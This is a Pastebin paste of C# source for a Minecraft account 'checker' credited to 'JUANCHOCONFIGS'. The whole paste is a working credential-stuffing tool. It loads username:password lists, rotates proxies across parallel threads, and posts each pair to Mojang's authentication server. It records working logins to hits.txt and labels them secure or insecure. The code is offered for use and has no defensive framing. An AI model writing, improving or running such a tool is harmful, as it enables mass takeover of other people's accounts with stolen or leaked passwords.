Advertisement
Guest User

Untitled

a guest
Dec 5th, 2018
937
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.51 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.IO;
  7. using System.Threading;
  8. using xNet;
  9. using System.Globalization;
  10. using Newtonsoft.Json;
  11. using System.ComponentModel;
  12.  
  13.  
  14. namespace SKERE_CHECKER
  15. {
  16. class Program
  17. {
  18.  
  19. static void Main(string[] args)
  20. {
  21. Console.BackgroundColor = ConsoleColor.Gray;
  22. Console.Clear();
  23.  
  24. List<string> accounts = File.ReadAllLines("accounts.txt").ToList();
  25. List<string> proxies = File.ReadAllLines("proxies.txt").ToList();
  26.  
  27. Console.ForegroundColor = ConsoleColor.White;
  28. Console.Write("Threads : ");
  29. int threads = int.Parse(Console.ReadLine());
  30.  
  31. Console.Write("proxies Type : ");
  32. string proxiesType = Console.ReadLine().ToUpper();
  33.  
  34. int checkeds = 0;
  35. int Live = 0;
  36.  
  37. Task.Factory.StartNew(() =>
  38. {
  39. while (true)
  40. {
  41. Console.WindowWidth = 110;
  42.  
  43. Console.Title = " RqreCrack | " + checkeds + " Checked on | " + accounts.Count + " accounts | " + Live + " Hits | " + "CODED BY JUANCHOCONFIGS V1.1.O";
  44.  
  45. Thread.Sleep(1000);
  46. }
  47. });
  48.  
  49. Parallel.ForEach(accounts, new ParallelOptions { MaxDegreeOfParallelism = threads }, account =>
  50. {
  51. if(account.Split(':').Length == 2)
  52. {
  53. string username = account.Split(':')[0];
  54. string password = account.Split(':')[1];
  55.  
  56. request: try
  57. {
  58. using (HttpRequest request = new HttpRequest())
  59. {
  60. request.Proxy = proxies[new Random().Next(proxies.Count)];
  61. request.Type = proxiesType;
  62.  
  63. request.ConnectTimeout = 5000;
  64. request.KeepAliveTimeout = 5000;
  65. request.ReadWriteTimeout = 5000;
  66.  
  67. request.AddHeader("Content - Type", "application/json");
  68.  
  69. string response = request.Start(HttpMethod.POST,
  70. new Uri("https://authserver.mojang.com/authenticate"),
  71. new xNet.BytesContent(Encoding.UTF8.GetBytes("{\"agent\":{\"name\":\"Minecraft\",\"version\":1},\"username\":\"" + username + "\",\"password\":\"" + password + "\",\"requestUser\":true}"))).ToString();
  72.  
  73. if (response.Contains("errorMessage"))
  74. {
  75. Console.ForegroundColor = ConsoleColor.Red;
  76. Console.WriteLine("[DEAD] - " + account);
  77. }
  78. else if (response.Contains("selectedProfile"))
  79. {
  80. dynamic json = JsonConvert.DeserializeObject(response);
  81.  
  82. bool secured = (bool)json.user.secured;
  83.  
  84. Console.ForegroundColor = ConsoleColor.Green;
  85. Console.WriteLine("[LIVE] - " + account + " - " + (secured ? "Secure" : "Insecure"));
  86.  
  87. Write: try
  88. {
  89. using (StreamWriter streamWriter = new StreamWriter("hits.txt", true))
  90. {
  91. streamWriter.WriteLine(account + " - " + (secured ? "Secure" : "Insecure"));
  92. }
  93. }
  94. catch
  95. {
  96. Thread.Sleep(new Random().Next(25, 75));
  97.  
  98. goto Write;
  99. }
  100. Interlocked.Increment(ref Live);
  101.  
  102. }
  103.  
  104. Interlocked.Increment(ref checkeds);
  105. }
  106. }
  107. catch
  108. {
  109. goto request;
  110. }
  111. }
  112.  
  113. });
  114.  
  115. Console.ForegroundColor = ConsoleColor.White;
  116. Console.WriteLine("Done");
  117.  
  118. Thread.Sleep(-1);
  119. }
  120. }
  121. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement